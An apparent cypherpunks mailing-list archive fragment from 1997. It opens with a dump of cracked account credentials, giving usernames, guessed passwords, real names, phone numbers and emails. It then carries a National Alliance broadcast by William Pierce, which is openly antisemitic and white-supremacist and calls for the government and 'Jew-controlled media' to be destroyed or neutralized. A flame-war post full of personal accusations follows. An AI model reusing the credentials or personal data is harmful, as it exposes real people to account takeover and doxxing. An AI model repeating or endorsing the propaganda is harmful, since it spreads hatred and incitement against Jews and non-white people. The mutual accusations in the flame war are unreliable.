Guessed bdbem [bdbem [ANNIE]]  Louis Salatto,,203-483-8634, [etc_passwd.fixed /bin/tcsh]
Guessed tpn1996 [tpn1996 [TALONS]]  Richard Mathiason,,707-642-8632, [etc_passwd.fixed /bin/tcsh]
Guessed rdlpinfo [rdlpinfo [PARKER]]  Peter Vaglica,,,tlpc@gte.net [etc_passwd.fixed /bin/tcsh]
Guessed healthwealth [healthwealth [JESUS]]  Diane Goselin,,508-791-6828, [etc_passwd.fixed /bin/tcsh]
Guessed eleven [eleven [DOROTHY]]  Eric Ralls,,602-547-5911, [etc_passwd.fixed /bin/tcsh]
Guessed infosales1 [infosales1 [BEAR]]  Steve Crockett,,904-857-7717,infosales1@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed secrets [secrets [PICKUP]]  Lillian & John Eagan,,908-431-4366, [etc_passwd.fixed /bin/tcsh]
Guessed marketinfo [marketinfo [PARKER]]  Peter Vaglica,,,tlpc@gte.net [etc_passwd.fixed /bin/tcsh]
Guessed kangaroo [kangaroo [LYDIA]]  Matthew Silverman,,508-369-4560, [etc_passwd.fixed /bin/tcsh]
Guessed wealth [wealth [KELLY]]  Chris Molinari,Adler Publishing,408-353-3141, [etc_passwd.fixed /bin/tcsh]
Guessed difaznet [difaznet [GORDO]]  Ray DiFazio,,415-668-5161, [etc_passwd.fixed /bin/tcsh]
Guessed bizopp [bizopp [ALBERTA]]  Ted Benedict,,, [etc_passwd.fixed /bin/tcsh]
Guessed offshore1 [offshore1 [JAMAICA]]  Denise Cook,Marketing Ect Trust,602-979-4844,dicook@sisna.com [etc_passwd.fixed /bin/tcsh]
Guessed diet30 [diet30 [CHELSEY]]  Dennis Estelle,Pioneer Marketing,908-920-5917, [etc_passwd.fixed /bin/tcsh]
Guessed sales [sales [CARRIER]]  Brad Konia,,610-437-1000,brad@fastcolor.com [etc_passwd.fixed /bin/tcsh]
Guessed blessdlife [blessdlife [SUNSHINE]]  Prasit K. Frazee,Lifetronix,704-536-3779,blessdlife@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed jeps317 [jeps317 [MYCROFT]]  John Sallinger,Sallinger Assoc.,412-327-8591, [etc_passwd.fixed /bin/tcsh]
Guessed souvenirs [souvenirs [BASKETBA]]  Mike Mullen,ProBasketball Electronic Services,,hoops@kudos.net [etc_passwd.fixed /bin/tcsh]
Guessed sjs [sjs [ALBERTA]]  Steven Spohn,,610-987-9272, [etc_passwd.fixed /bin/tcsh]
Guessed winwes [winwes [ANKLES]]  Doug Sutton,,905-567-1874, [etc_passwd.fixed /bin/tcsh]
Guessed mattkenn [mattkenn [INWOOD]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed yknott [yknott [TRICKY]]  Rick Brittain,,,rick@y-knott.com [etc_passwd.fixed /bin/tcsh]
Guessed psolutions [psolutions [STEPHANU]]  John Miner,Prime Solutions,818-752-2058, [etc_passwd.fixed /bin/tcsh]
Guessed go2zero [go2zero [MEREDITH]]  Alan Dechart,,503-626-6269, [etc_passwd.fixed /bin/tcsh]
Guessed oppty [oppty [MCVEY]]  Bryan Johnson,,614-888-2007, [etc_passwd.fixed /bin/tcsh]
Guessed dorita [dorita [ZAPATA]]  Quentin R. Hopper / Dora E. Martinez,Ouachita's Online Network,210-681-0256, [etc_passwd.fixed /bin/tcsh]
Guessed bravonfo [bravonfo [PHONECAR]]  Chuck Hatcher,,972-466-3723,ck3723@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed amnat2 [amnat2 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed dpomanual [dpomanual [PASSWORD]]  Erika Thompson,L.J. Howard & Assoc.,909-683-1121,akiredanee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed perfectcel [perfectcel [OCCASION]]  Paul Herbst,,516-475-6831, [etc_passwd.fixed /bin/tcsh]
Guessed emergroup [emergroup [GARFIELD]]  Liesl Peterson,Emerald Group,507-345-3730, [etc_passwd.fixed /bin/tcsh]
Guessed internet4u [emergroup [GARFIELD]]  Donald Goss,,908-396-1438, [etc_passwd.fixed /bin/tcsh]
Guessed freeadds [freeadds [BATMAN]]  Bill Guting,,916-393-2334,awt@cwnet.com [etc_passwd.fixed /bin/tcsh]
Guessed powernet [powernet [ZAINAB]]  Omer Shommo,,312 247-9051, [etc_passwd.fixed /bin/tcsh]
Guessed capsinfo [capsinfo [CELEBORN]]  Dan Roady,Caps,707-545-5944, [etc_passwd.fixed /bin/tcsh]
Guessed monoi4you [monoi4you [TAHITI]]  Laurent Hercy,Monoi Cosmetic,310-450-0145, [etc_passwd.fixed /bin/tcsh]
Guessed choice [choice [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed powerfulu [powerfulu [LAGER]]  Margaretha Murphy,MSM Communications,212-249-8244,mmcom77@mail.idt.net [etc_passwd.fixed /bin/tcsh]
Guessed sunsetpub [sunsetpub [CESSNA]]  John Fraine,,941-732-1872,hirate@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed max [max [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed dsconcepts [dsconcepts [DOLLARS]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed infoforme [infoforme [BBALL]]  Dan Ellenwood,,864-862-0298, [etc_passwd.fixed /bin/tcsh]
Guessed ansinfo [ansinfo [VACATION]]  Adam Sciuto,ANS Enterprises,609-646-6933, [etc_passwd.fixed /bin/tcsh]
Guessed choice2 [choice2 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed intervest [choice2 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed tpn [tpn [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed howto [howto [MELODY]]  Michael Piompino,,908-493-3808,m1112m@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed specsit [specsit [SITUATIO]]  Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh]
Guessed green [green [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed pixel [pixel [GRAYSON]]  Scott Thede,Forward Design,612-702-0811, [etc_passwd.fixed /bin/tcsh]
Guessed cstone [cstone [CORNERST]]  John McKenna,,409-687-2308, [etc_passwd.fixed /bin/tcsh]
Guessed travelbiz [travelbiz [CANADA]]  Thomas Cox,954-925-8132,dodger3@laker.net,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed ezine [ezine [RUSSELL]]  Jim Daniels,,401 231-9665, [etc_passwd.fixed /bin/tcsh]
Guessed freead [freead [RUGBY]]  Jim Carlberg,Rugby America,217-793-7275, [etc_passwd.fixed /bin/tcsh]
Guessed free1996 [free1996 [JESSICA]]  Lyle Larson,,206-865-9000, [etc_passwd.fixed /bin/tcsh]
Guessed information [information [GIBBERIS]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed makemoney1 [makemoney1 [EBONY]]  Kymberlie Varriano,,206-322-2074,songbird55@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed homeall [homeall [GABRIEL]]  Virgilio Gonzales,,619-744-0719, [etc_passwd.fixed /bin/tcsh]
Guessed bewell [bewell [CRYSTAL]]  Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh]
Guessed jbdjerseys [jbdjerseys [CHUNDER]]  John Paskoff,JBD Jerseys,516-799-6660, [etc_passwd.fixed /bin/tcsh]
Guessed carolmc [carolmc [BIRDS]]  Carol Cyr,C + C Specialty Products,417-345-6002, [etc_passwd.fixed /bin/tcsh]
Guessed cliftyfarm [cliftyfarm [BARTON]]  Tommy Thompson,,901-642-1495, [etc_passwd.fixed /bin/tcsh]
Guessed pre [pre [MONEYMAK]]  Ryan Edwards,,301-596-0498,launchepub@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed bdywise [bdywise [DRAKES]]  Greg Olson,Olson & Associates,308-237-3000, [etc_passwd.fixed /bin/tcsh]
Guessed kaboom [kaboom [CHICLET]]  Alan Lange,,800-864-8444, [etc_passwd.fixed /bin/tcsh]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: vincent@dreamon.com (The Bok)
Date: Sat, 22 Mar 1997 21:06:43 -0800 (PST)
To: vincent@dreamon.com
Subject: ADV Weekly Transcripts
Message-ID: <3334BAAB.97B@dreamon.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

If you would like to unsubscribe to this service, please e-mail
vincent@dreamon.com. For more information visit the National Alliance
web site at http://www.natall.com. For patriotic books, tapes and
videos, visit National Vanguard Books Online Catalog at
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------
American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

The Big Picture 

A Bare-Bones Outline of Our Present Predicament 

by Dr. William Pierce
Chairman, National Alliance 
 

What's the most important thing in your life? 

Is it making as much money as possible? 

Is it getting along with other people and being popular? 

Is it security? Is it happiness? 

Well, of course, most of us would like to have financial security, and
we would like to be happy. But for some of us there's something more
important than security and personal happiness. I'm addressing now the
more serious-minded listeners, the ones who are capable of understanding
things like duty and responsibility. 

Duty and responsibility: those are almost bad words these days --
definitely not fashionable. We've been conditioned by the media to be
suspicious of people who talk about such things. This is the feel-good
generation, the MTV generation. But really, we know that more important
than feeling good is doing good, doing right. The most important thing
for us is using our lives in the right way. The most important thing is
having the right purpose and serving that purpose effectively. 

We need to look beyond our bank accounts and our personal hobbies and
our immediate circle of friends in order to find purpose. We need to see
ourselves set in a larger context. We need to understand how our own
lives are important as a part of the world around us: not just the world
of here and now, but also the world of the future and the world of the
past. We need to see our own lives as a part of the historical process. 

When we do this, when we see ourselves in context, then we begin to
understand our responsibility, our purpose. We begin to understand
what's really important in our lives. We see that we have a
responsibility to the people who came before us and made it possible for
us to live, the people whose genius and work and sacrifice built our
world for us, built our civilization for us, gave us our culture. We
have a responsibility to ensure that their toil and sacrifice were not
in vain. 

And we have a responsibility to the people who will come after us, a
responsibility to all the future generations of our people. We must
ensure that what we have inherited from our ancestors will be preserved
and enhanced and strengthened by us and passed on to those who will
follow us. 

This is the most important thing in our lives: understanding this
purpose, accepting this responsibility. At least, it is the most
important thing for those of us who are serious about our lives, those
of us who have not become corrupted and trivialized by
watching too much MTV. 

So we need to be concerned about what's happening to our world today. We
need to become involved in it. We need to accept responsibility for it.
That's the whole reason for Free Speech and American Dissident Voices.
It's to help with understanding what's happening, and it's to provide a
little push, a little inspiration, to get you involved. 

In past broadcasts I've talked about many specific aspects of what we
need to be concerned about. I've talked about specific threats to our
world. I've talked about the breakdown of our system of justice, and
I've given you specific examples: the acquittal of O.J. Simpson after he
murdered two people, and the $43 million verdict against Bernard Goetz
for defending himself against Black muggers. I've talked about the lies
and the hypocrisy of the government in Washington. I've talked
about the government's ruinous trade policy. I've talked about the
Jewish monopoly control of the news and entertainment media in America
and the destructive way in which that control is used. I've talked to
you about the movement to get rid of our Bill of Rights, the movement to
scrap the First and Second Amendments, the movement to make it illegal
for us to write or say anything which is not Politically Correct, and to
take away our means to defend our rights against those who want to
abolish them. 

And all of these things are important. We must look at details, we must
look at specifics, if we are to understand what to do. Today, though,
I'd like to look at the big picture. I want to talk to you about what
has happened to us, and why, and what we must do about it. 

First, let's back off a bit, so that we can see the picture more
clearly. Three hundred years ago, when nearly all of our ancestors were
still in Europe, we had a pretty good grip on things. We were involved
in the historical process. We had a feeling for our past and a sense of
responsibility to the future. No one was telling us that it was wicked
or racist or anti-Semitic or hateful to want to ensure a better world
for our descendants. That was because we still had our wits about us,
more or less, and we did not let anyone into our midst whose aim was to
weaken us and destroy us. We had no MTV. We were all Whites; we were all
Europeans. We had no slaves, no non-Whites among us. We kept the Jews in
their ghettos and very tightly circumscribed their activities. It was
just us. We had common roots and a common concern for the future. 

Now, I'm oversimplifying things a bit to make my point, of course.
Europeans did have disagreements among themselves. We did have wars from
time to time. We did mistreat each other. But it was just us. It was all
in the family. We had no aliens among us exercising influence over us
and hating us and planning our destruction. Our books and our journals
were written by us and were published by us. There was no Jew-controlled
television. Our young people were taught in our schools and our
universities by us, not by clever aliens attempting to corrupt and
subvert. 

And among ourselves -- just us -- we were building a great civilization.
In the 18th and 19th centuries we created a world of science and music
and literature and painting which greatly surpassed anything which had
come before. And we spread our dominion over the earth. Wherever we went
we conquered: in the Middle East and India, in the Far East -- and in
the West, in the New World. We were proud and self-confident. We knew
who we were. We were White. We were European. We did not mix with those
who were not European. When we needed land for our people, we took it.
If anyone raised his hand against us, we struck him down. And thus we
built America. And it was a strong and good and progressive nation, a
White nation. 

We did make mistakes during the past 300 years, though. In America we
brought in Black slaves to work the land in the South, and we brought in
Chinese coolies to work as laborers in the West. We kept ourselves
separate from these non-White slaves and servants, but bringing them
into our living space laid the groundwork for our present disaster. 

In France and elsewhere in Europe, we let ourselves be hypnotized by
false propaganda about equality. We are all equal, all the same, this
propaganda said, and we all should mix and be brothers, and no man
should have more than another. So we let the Jews out of their ghettoes
and we let them become citizens of European countries. They repaid us by
corrupting our music and our literature and by subverting every European
institution. One of them, a Jew named Marx, launched Communism, which
eventually enslaved half of our world and murdered tens of millions of
our people, often the best elements among our people. The brightest and
most energetic and most successful of our people were butchered by the
tens of millions by the Communists in Europe. 

In America they were not able to succeed with Communism, but they
infiltrated and took over our mass media of news and entertainment: our
films, radio, television, book publishing, and major newspapers. And
with these media they pushed the false propaganda of liberalism: We are
all equal, they said, Black and White and Chinaman and Jew, all the same
-- except that you Whites have the stain of guilt on you for having
thought yourselves better than the rest of us, and now you must make
it up to us for having mistreated us in the past. 

And with this propaganda they wormed their way into our educational
establishment, into our government, into all of our institutions. And
because they controlled so many of the media, there was hardly a voice
of opposition, hardly a voice of sanity and reason to be heard in
opposition to their propaganda, and they were able to corrupt the minds
of millions of young Americans. They were able to instill feelings of
racial guilt and racial self-hatred into two generations of young White
people. 

And with their growing influence they were able to open America's
borders to the non-White world, and they were able to force racial
integration on our schools, our work places, our neighborhoods. They
replaced our European music with jazz and rock and rap. They introduced
what they fondly call "modernism" into art and literature, replacing our
culture with a Judaized trash culture. They overturned the laws against
miscegenation. They persuaded the leaders of the Christian churches to
join their revolution against the White world. They turned our
government into a cesspool, occupied by people like Bill and Hillary
Clinton. 

And so here we are today, at the end of the 20th century, facing the
prospect of becoming a minority in our own country before the middle of
the next century, and so paralyzed by fear and guilt and self-hatred
that while some of us look forward eagerly to our self-extinction most
of the rest of us refuse to do anything to avert it. 

Quite a mess! 

Now, I have greatly oversimplified the picture, just so that we could
grasp the most important features. I have not mentioned the minority of
Jews who never engaged in or supported the subversive activities of the
majority of Jews. I have not talked about all of the criminals among our
own people, besides the Clintons, who have collaborated with the Jews.
Those are details which are important, and I have discussed those
details in other broadcasts. But right now we want to grasp just the
coarsest features of our predicament. We want to understand, in a very
rough simple way, what our situation is and what we must do about it.
I'll spell out these rough and simple features: 

First, America has been transformed from a White country before the
Second World War, a White country in which the 10% non-White portion of
the population was strictly segregated from the White population, into a
multiracial morass today. The non-White population in America is
increasing so rapidly that it will constitute a majority, and we will be
a minority, within the next 50 years. 

Second, America's government is deliberately and forcefully implementing
this racial transformation. The government, an institution which our
ancestors created to be the guardian of our welfare, has become the
deadliest enemy of our people. It is deliberate government policy which
is responsible for the flood of non-White immigrants, both legal and
illegal, now pouring across our borders. It is deliberate government
policy which feeds and houses and encourages the breeding of the huge
and growing non-White underclass in our cities. It is deliberate
government policy which mixes the non-White population with the
White population and encourages miscegenation. 

Third, most of the White population in America is collaborating in its
own destruction, partly from ignorance, partly from fear, but mostly
from a blind, animalistic urge to conform to perceived norms of public
opinion. 

Fourth, the mass media of news and entertainment provide the guiding
spirit for White America's rush to self-destruction, and those media are
largely in the hands of the Jewish minority. The controlled media, with
virtual unanimity, push the party line of egalitarianism and
multiculturalism and racial mixing. The controlled media, with virtual
unanimity, push the party line of feminism and of toleration for
homosexuality and of White "guilt" for supposed historic wrongs to
non-Whites. The media, by influencing the attitudes and opinions of most
voters, wield the power which determines which politicians get elected
to public office in America. The media -- especially the media of film
and television -- have done more than any other institution to degrade
the cultural and moral level of our people. And the people who wield the
media as a weapon against us are Jews. 

That's our situation today, in very rough outline. And, of course, I've
left out a thousand details and refinements and qualifications. I've not
talked about the destructive, anti-White doctrines of many of the
Christian churches. I've not mentioned the slavishly pro-Jewish and
anti-White policies of many powerful White politicians, such as Edward
Kennedy, Bill Clinton, and Robert Dole. I've ignored economics
altogether. I've not said anything about the destructive effects of the
government's trade policy. I've not explored the Jews' motivation for
what they're doing. 

I've just pointed out four basic facts: first, America is being
transformed very rapidly from a White country to a non-White country;
second, the government is deliberately implementing this transformation;
third, most of the White population is not resisting the transformation;
and fourth, the mass media, controlled by the Jews, are providing the
driving force for it all. 

What this means to those of us who feel some sense of responsibility to
our ancestors and to our posterity is that our people are being faced
with the greatest threat ever, with the threat of extinction, and that
we must do whatever we can to avert this threat. 

And what we must do -- again in the very roughest and crudest terms --
is, first, destroy or neutralize the two hostile forces which are
leading us to our destruction - namely, the government and the
Jew-controlled media; and second, start our badly corrupted and misled
people back on the road to duty and responsibility. 

I'm leaving out many important details, of course. I haven't even
mentioned how we are to deal with the Blacks in our midst, for example.
But that is a detail we know that we can handle, once we have taken care
of the government and the Jewish media and begun curing our own people
of their present sickness. 

So, we know roughly what our problem is and roughly what we must do
about it. Now we must get back to the details, because that's the only
way we can make plans and execute them. But seeing the big picture is
important in making plans, because it sets the boundaries for us. Once
we understand the urgency of our situation, once we understand the
finality of the fate designed for us by our enemies, we know that we
must either conquer or die. If we do not defeat those who intend to
destroy us, and defeat them soon, then our people will perish forever.
What this means for us is that no matter how small our likelihood for
success, we must act. No matter how desperate the gamble, we must take
it. We must not fail to act. We must not do nothing, simply because no
plan seems certain of success. No loss as a consequence of acting can be
greater than the loss from failing to act. If we are responsible adults,
if we are honorable adults, then we must act. There is no acceptable
excuse for not acting -- not family obligations, not personal security,
not career considerations -- no excuse. If we do not act, then
everything will be lost, every reason for living, every reason for which
our ancestors lived and worked and sacrificed and suffered and died. The
deadly filth of Jewish liberalism will spread over our entire race and
destroy it -- irrevocably, forever. 

I promised you details, and now I'm running out of time. But here's one
detail: no matter what else we do, our first move must be to alert all
of our people to the situation I have outlined today. That's the first
step: education. Education alone is not enough, of course, but it is
necessary. 

Many people will not want to be educated. They will be afraid to listen
to anything which is not Politically Correct. They will hate us when we
try to educate them. They will go back to their MTV. But for every fool
filled with hate and fear who will not listen, we will find a person who
already has an understanding of the things I have said today and who
only needs to hear us say them in order to gain enough confidence to
know that his understanding is correct. And we will find other people
who have not yet achieved understanding but whose hearts and minds are
open, and who can accept the truth when it is presented to them. 

And so that is our immediate task: yours as well as mine. We must reach
out to our people. We must alert them. We must educate them. We must
encourage them. We must inspire them. 

And here's a beautiful, wonderful thing: when you reach out to other
people to encourage them and inspire them, you yourself will be
encouraged and inspired. When you find out how many other people there
are who share our concerns, our feelings, our values, our sense of
responsibility, you cannot help but be encouraged. 

Even the hatred that you encounter from some people -- especially from
people in the controlled media -- will be encouraging. For you will
understand that they would not hate us so much if they did not fear us.
And the reason that they fear us is that deep inside them they know that
what we say is true. 

So let's get out there -- all of us -- and start looking for
encouragement! 

~
For more information or to find out how you can join the leading
patriotic organization in the world today, visit the National Alliance
web site and read "What is the National Alliance" at
http://www.natvan.com/WHAT/WHATDIR.HTML.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Mar 1997 05:48:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cocksucker John Gilmore and his mouthpiece Rich Graves exposed as liars
Message-ID: <g8B14D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I'll quote without comment an article from the alt.cypherpunks newsgroup.

]Path: ...!bloom-beacon.mit.edu!senator-bedfellow.mit.edu!sethf
]From: sethf@athena.mit.edu (Seth Finkelstein)
]Newsgroups: comp.org.eff.talk,alt.censorship,alt.cypherpunks
]Subject: The flames from the (gG)raves
]Date: 22 Mar 1997 03:12:09 GMT
]Organization: Massachvsetts Institvte of Technology
]Lines: 269
]Distribution: inet
]Message-ID: <5gvim9$9d8@senator-bedfellow.MIT.EDU>
]References: <5gkfag$36o@quixote.stanford.edu> <5gmnuj$1ha@senator-bedfellow.MIT.EDU> <m0w7HEz-00022AC@quixote.stanford.edu> <5gqfpk$ate@senator-bedfellow.MIT.EDU> <5gv2kg$lc5@quixote.stanford.edu>
]Reply-To: sethf@mit.edu
]NNTP-Posting-Host: frumious-bandersnatch.mit.edu
]
]
]In article <5gv2kg$lc5@quixote.stanford.edu>, Rich Graves <rcgraves@disposable.com>
]>Warning: The Happynet Unofficial Anti-Censorship Committee has determined
]>the following post to be inappropriate for children and fight-censorship
]>subscribers. Only Seth Finkelstein has been empowered to speak the whole
]>truth by the anti-censorship review board. Please enter the following into
]>your killfile:
]
]	Rich is getting nuttier and nuttier. This is not
]unexpected. His pattern is to get more and more slimy as you argue
]with him. Note that the fact that he argues with people who are
]themselves very vile people, Holocaust-deniers, does not change the
]demonstrated truth of this statement. This is again why many people
]end up just ignoring him completely and not wanting to read anything
]from him.
]
]>Seth is nothing if not a reasonable unbiased observer. Trust him. Please.
]
]	And I've noted many a time, my qualification is I-was-there.
]I have, however, repeatedly tried to resolve this dispute and read all
]your articles (aggravating though it is almost all of the time). That
]should be worth something.
]
]>No, I mean it. From articles <5ghg1t$7j4$5@nntp2.ba.best.com> and
]><5ghg1n$7j4$4@nntp2.ba.best.com>, just to be sure I guess:
]>
]>|Rich, have you ever wondered why so many diverse people, with wildly
]>|diverse political views, have accused you of being a left or center
]>|fascist or a commie sympathiser.
]>|
]>|And no, the, fact that you have been accused of being a commie symp is
]>|not evidence that those who called you a fascist were wrong, and vice
]>|versa.  The various political positions you have been accused of, tend
]>|to be hard to distinguish in practice.
]
]	I suspect this is some sort of a trap, but, noting that I am
]walking into this with my eyes open and aware of it: Rich has lied
]here, and in all the referenced quotes below. They are not from me,
]but someone else. By this tactic, he hopes to imply that if I call him
]a liar, and someone else (say a Holocaust-denier) does the same thing,
]both are equally valid. It is exactly the trick I just detailed a
]posting or two ago, imposing moral equivalence on his critics.
]	But note, he did not have to lie in the above to do this
]rhetorical tactic. He could have tried to pull it off by contrasting
]similar-sounding, but correctly-attributed, quotes. But he did not, he
]lied repeatedly. There is no way this sort of thing can be explained
]by benefit of the doubt or a human error or believing separate
]reports. It is a malicious and knowing fabrication. By the standards
]Rich espouses (for other people ...)  this should condemn him for all
]eternity.
]
]>And article <5gi741$cbp$1@nntp2.ba.best.com>:
]>
]>|Another example of your disturbing affection for state informers and
]>|government goons with guns.
]>[...]
]>|I have no idea what these claims are, but I confidently believe a
]>|couple of things about you that you have forcefully denied.
]
]	Didn't write that. I don't care what Rich thinks about guns,
]though I wonder if he should be in one of the groups which should
]certainly be denied them (... history of mental illness).
]
]>And article <5gmff0$109$4@nntp2.ba.best.com>:
]>
]>|You are a habitual liar, an apologist for state repression, and a
]>|loon.
]
]	Didn't write that. I don't know about "habitual", but I suppose
]it's arguable. I don't care about Rich's politics. Loon, DEFINITELY!
]
]>And <5gqbd5$rkm$2@nntp2.ba.best.com>:
]>
]>|You piously declare you are on the side of the angels, while
]>|systematically circulating lies that hurt us and benefit the enemy.
]
]	Didn't write it, but I could have :-). But the trick there is
]that "the enemy" could mean in the writer's mind "The Jewish Conspiracy",
]but in my mind "Sensation-Mongering Journalists". The two statements
]then may *sound* alike, but actually be completely different.
]
]>And <5gu8v6$nf$2@nntp2.ba.best.com>:
]>
]>|Rich regularly circulates "facts" that are systematically off base in
]>|ways that legitimize and justify the lawless acts of governments and
]>|which denigrate peoples rights.
]
]	Didn't write it, again, I very rarely deal with Rich's
]general beliefs about government. I get far too much of him as it is.
]
]>|When called on these he then piously whines how much in favor of
]>|liberty he is.
]>|
]>|He is damned statist liar.
]
]	Didn't write it, wouldn't say "statist liar". Of course, this
]repeated tactic of misattribution and the broader trick will speak for itself.
]
]>And <5gu8i6$nf$1@nntp2.ba.best.com>:
]>
]>|Oh aren't you wonderful
]>|
]>|You talk the talk but you do not walk the walk.
]>|
]>|You are not on Phil Zimmerman's side.  You are on the side of the
]>|feds.
]
]	Nowadays, I don't think Rich has any side except his own. He
]strikes me as dangerously unstable. Luckily, he only explodes in whining
]rants - so far.
]
]>Please read no further. This is your last warning.
]>
]>OK, I lied. I do that habitually, don't you know. THIS is your last
]>warning.
]
]	Doesn't make it right. Most of the time, you slant and ignore
]contrary evidence. That hasn't worked for you in this thread, so now
]you've escalated. One might also point to the absurdity of posting
]long vitriolic articles and saying "don't read this". It's part of a
]pattern of doing something nasty and vicious and vile, and then
]denying that you're actually doing it.
]
]
]>In article <5gqfpk$ate@senator-bedfellow.MIT.EDU>,
]>Seth Finkelstein <sethf@mit.edu> wrote:
]>>       This is so ironic given your venom-filled postings. Yes, I am
]>>flaming you back. It's not nearly as fun when the target is defending
]>>themselves, is it? You just can't get away with the mud without consequences.
]>
]>Seth, you weren't the target, though for what you've done with your
]>miscarried "Justice on Campus," you should be. Since you insist, I'll
]>remedy that lack below.
]
]	Umm, you've flamed a lot of people in this thread. And Justice
]on Campus has a lot of contributors, I can't take all credit or blame
]for every part it. I've had a heavy role in some parts of it, and
]deferred in other pieces.
]
]>>>Seth, go to www.dejanews.com. Note that a thread under this title began on
]>>>March 1st. Note that it was a reasonable and civil reply to John Wallace's
]>>>reasonable and civil reply to me. Note that there were several reasonable
]>>>and civil followups. Note that the current topic of this thread did not
]>>>start until March 13th.  Note when you arrived, when the content-free
]>>>flames started, and how I broke off a more reasonable subthread to get
]>> ^^^^^^^^^^^^^^
]>>
]>>       Wrong. Note that you smeared everyone around in article
]>>id <5g9sin$g5p@quixote.stanford.edu>, that's what started the flame war.
]>
]>Yes, the date on that article is March 13th. There were nine articles in
]>the thread prior to that one. The first post to the thread was March 1st,
]>following up to John Wallace's citation of my name on the so-called
]>fight-censorship list in late February. I was unable to respond to the
]>invocation of my name on the fight-censorship list, so I posted the
]>article here, on March 1st.
]
]	Consider the phrase "Note when you arrived, when the
]content-free flames started ...". I arrived *after* you started the
]flamewar, and your mudfest is what began it. You spit in the thread,
]don't complain it now tastes bad.
]
]>>       This is the sort of rewriting of history Rich does. He posts some
]>>nasty, provocative flames. When people flame him back, he acts so hurt,
]>>and edits out his part in his retelling, playing the wounded innocent.
]>
]>This is, of course, the unalloyed truth.
]
]	We see it demonstrated over and over again. Look at your rewriting
]above.
]
]>>>>     Donna Riley and Jean DeCamp shouldn't be touched with a
]>>>>10-foot polemic. I met Jean once. The woman couldn't stop berating me
]>>>
]>>>She should have, with the smear campaign you continue to run against her,
]>>
]>>       Her own words condemn her. She'd like to run away from them,
]>>but she can't.
]>
]>I see. How good of you to post selected quotes prominently on the web for
]>more than two years, especially the ones that explicitly read "This is
]>private email" and "Please consider this paragraph confidential."
]>http://joc.mit.edu/footnotes/c3-ljc.txt
]
]	Wrong. All the material is there, has been from early on. Read
]the whole thing, http://joc.mit.edu/charges.html#3 , especially
]http://joc.mit.edu/docs/camp.brief.txt .
]	In fact, I think my first tussle with her was explaining why
]she was utterly wrong to allege "libelous" in that case, a mistake you
]repeated, but you should know better.
]
]>Justice on Campus.
]
]	Take your complaint to all the papers and magazines printing
]Timothy McVay's "confession?" now.
]
]>>>But she didn't take a swing at you, did she? I can only think of one
]>>>person mentioned in this thread who was arrested and convicted for taking
]>>>swings at someone he was living with. "Justice on Campus" they call the
]>>
]>>       Actually, said person was falsely and maliciously accused by
]>>the ex- who has a history of making far-out accusation, on the eve of
]>>their relationship breakup, and couldn't afford to fight it all the
]>>way through (for years?). But talk about one-sided, Rich wouldn't tell
]>>you any of that.
]>
]>Right. I haven't posted the URL for the police report, which mentions
]>third parties Yang and Gardy calling the police when they heard the
]
]	Nor have you mentioned it's hosted by the same person who made
]bogus harassment charges against JOC and me, which where completely
]false and malicious, and has an amazing history of prevarication.
]
]>some concern for personal privacy. I will merely say that in my personal
]>opinion, you are a disgusting individual for allowing yourself to be so used.
]
]	I love you too.
]
]>If you don't think a reasonable and prudent person would read the
]>police report or judgement this way, then by all means, post the URL on
]>"Justice" on Campus. You consider it your duty to post selected personal
]>email between third parties; why not public record?
]
]	I personally believe there's something wrong with it, because
]it's hosted by the very same guy who tried to get JOC and me in trouble
]with manufactured malicious charges. See   http://joc.mit.edu/attack.html
]	If I were dealing with it, I'd put *everything* up in defense,
]but again, I understand at a human level the reaction not to wallow
]though the mud of an angry ex-'s accusations.
]
]>>       You're very mixed up. Bogus harassment charges were filed
]>>against *me*, and it gave me a very good view of CMU-style politics.
]>>They use harassment charges and threats as standard weapons down there.
]>
]>I see. Again, this is the unalloyed truth. "Justice on Campus."
]
]	Rich, exactly what part do you doubt? That charges were made?
]That's never been denied by anyone involved. That they were phony?
]Well, given that I was hundreds of miles away, and I don't think I
]ever sent the guy e-mail, it's hard to make an argument (unless you
]consider Usenet flaming to be sufficient, which I would really advise
]you not to do). So yes, that's the unalloyed truth.
]
]>>>Yes. Two simple wording changes. Please change the name of the list to
]>>>"fight" and change the word "unmoderated" to "moderated."
]>>
]>>       In other words, *SNEER*. It's not about the wording, it's
]>>about your whining, nothing would make you happy, you just want an
]>>issue to cry about.
]>
